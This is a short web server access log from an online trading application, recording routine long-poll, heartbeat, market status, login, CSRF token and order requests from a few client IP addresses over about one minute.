[09/Jan/2026:15:27:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943948213 HTTP/1.1" -
[09/Jan/2026:15:27:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943934980 HTTP/1.1" -
[09/Jan/2026:15:27:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943934658 HTTP/1.1" -
[09/Jan/2026:15:27:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943935309 HTTP/1.1" -
[09/Jan/2026:15:27:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943953278 HTTP/1.1" -
[09/Jan/2026:15:27:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943940057 HTTP/1.1" -
[09/Jan/2026:15:27:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943939678 HTTP/1.1" -
[09/Jan/2026:15:27:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943940440 HTTP/1.1" -
[09/Jan/2026:15:27:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943958336 HTTP/1.1" -
[09/Jan/2026:15:27:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943945140 HTTP/1.1" -
[09/Jan/2026:15:27:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943944700 HTTP/1.1" -
[09/Jan/2026:15:27:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:27:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943945568 HTTP/1.1" -
[09/Jan/2026:15:27:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:27:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:27:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943963394 HTTP/1.1" -
[09/Jan/2026:15:28:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943949734 HTTP/1.1" -
[09/Jan/2026:15:28:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943950171 HTTP/1.1" -
[09/Jan/2026:15:28:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943950633 HTTP/1.1" -
[09/Jan/2026:15:28:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943968464 HTTP/1.1" -
[09/Jan/2026:15:28:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943954761 HTTP/1.1" -
[09/Jan/2026:15:28:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943955257 HTTP/1.1" -
[09/Jan/2026:15:28:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943955748 HTTP/1.1" -
[09/Jan/2026:15:28:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943973485 HTTP/1.1" -
[09/Jan/2026:15:28:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943959780 HTTP/1.1" -
[09/Jan/2026:15:28:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943960285 HTTP/1.1" -
[09/Jan/2026:15:28:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943960788 HTTP/1.1" -
[09/Jan/2026:15:28:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943978516 HTTP/1.1" -
[09/Jan/2026:15:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943964804 HTTP/1.1" -
[09/Jan/2026:15:28:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943965362 HTTP/1.1" -
[09/Jan/2026:15:28:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943965927 HTTP/1.1" -
[09/Jan/2026:15:28:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943983577 HTTP/1.1" -
[09/Jan/2026:15:28:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943969852 HTTP/1.1" -
[09/Jan/2026:15:28:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943970434 HTTP/1.1" -
[09/Jan/2026:15:28:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943971056 HTTP/1.1" -
[09/Jan/2026:15:28:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943988608 HTTP/1.1" -
[09/Jan/2026:15:28:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943974897 HTTP/1.1" -
[09/Jan/2026:15:28:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943975536 HTTP/1.1" -
[09/Jan/2026:15:28:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943976226 HTTP/1.1" -
[09/Jan/2026:15:28:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943993677 HTTP/1.1" -
[09/Jan/2026:15:28:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943979939 HTTP/1.1" -
[09/Jan/2026:15:28:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943980577 HTTP/1.1" -
[09/Jan/2026:15:28:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943981280 HTTP/1.1" -
[09/Jan/2026:15:28:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943998745 HTTP/1.1" -
[09/Jan/2026:15:28:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943984966 HTTP/1.1" -
[09/Jan/2026:15:28:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943985659 HTTP/1.1" -
[09/Jan/2026:15:28:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:28:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943986391 HTTP/1.1" -
[09/Jan/2026:15:28:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944003767 HTTP/1.1" -
[09/Jan/2026:15:28:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:28:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:28:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:28:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943990010 HTTP/1.1" -
[09/Jan/2026:15:28:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943990691 HTTP/1.1" -
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:28:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943991445 HTTP/1.1" -
[09/Jan/2026:15:28:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:28:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:28:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1568
[09/Jan/2026:15:28:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944008822 HTTP/1.1" -
[09/Jan/2026:15:28:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943995027 HTTP/1.1" -
